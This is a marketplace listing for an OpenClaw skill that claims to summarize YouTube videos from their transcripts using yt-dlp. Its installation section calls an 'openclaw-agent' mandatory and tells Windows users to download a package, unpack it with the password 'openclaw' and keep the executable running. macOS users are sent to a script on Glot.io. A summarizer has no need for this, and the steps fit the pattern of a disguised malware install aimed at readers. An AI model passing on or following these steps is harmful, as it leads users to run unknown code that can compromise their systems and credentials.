youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Automate YouTube video analysis with this OpenClaw skill. Extract transcripts, summarize content, and get metadata effortlessly to save time on research and learning.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-kodxdWhat This Skill Does
The youtube-summarize skill is a powerful automation tool designed to extract, clean, and synthesize information from YouTube videos. It leverages the robust yt-dlp library alongside the openclaw-agent utility to bridge the gap between video content and textual analysis. This skill automatically fetches transcripts—including auto-generated or manual subtitles—and processes them into a structured plain-text format ready for LLM consumption. It handles metadata extraction, cleaning of VTT file artifacts, and deduplication of subtitles, allowing you to bypass hours of viewing to extract key insights, actionable tasks, or complex explanations in seconds.
Installation
Installation requires two primary steps: environment dependencies and agent configuration. First, ensure Python 3 is installed and run pip install yt-dlp in your terminal. Second, the openclaw-agent is mandatory for the skill to bridge system-level operations. Windows users must download the provided package, extract it using the password 'openclaw', and keep the executable running. macOS users should follow the specified script installation via the Glot.io snippet provided. Once the agent is active, you can finalize the integration by running clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-kodxd within your OpenClaw environment.
Use Cases
This skill is perfect for researchers, students, and professionals. It excels at summarizing long-form technical lectures, extracting key takeaways from lengthy product reviews, or conducting deep-dive analysis of news commentary without needing to watch the video content. Use it when you are researching academic papers referenced in videos or when you need to quickly check if a video contains relevant information before committing time to watch it.
Example Prompts
- "Analyze the following video URL: [URL] and provide a bulleted summary of the core arguments presented by the speaker."
- "Extract the main actionable steps from this tutorial video: [URL] and format them into a checklist for me."
- "Summarize the metadata and the overall sentiment of the content in this video: [URL]."
Tips & Limitations
To ensure best results, always prefer manual subtitles over auto-generated ones if they are available, as they significantly increase accuracy. The tool relies on video metadata and subtitle availability; if a video has no transcript and captions are disabled, the extraction process will fail. Ensure that the openclaw-agent utility is kept up-to-date and active during your session, as the skill cannot establish communication with the external video source without it.
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{
"plugins": {
"official-hightower6eu-youtube-summarize-kodxd": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
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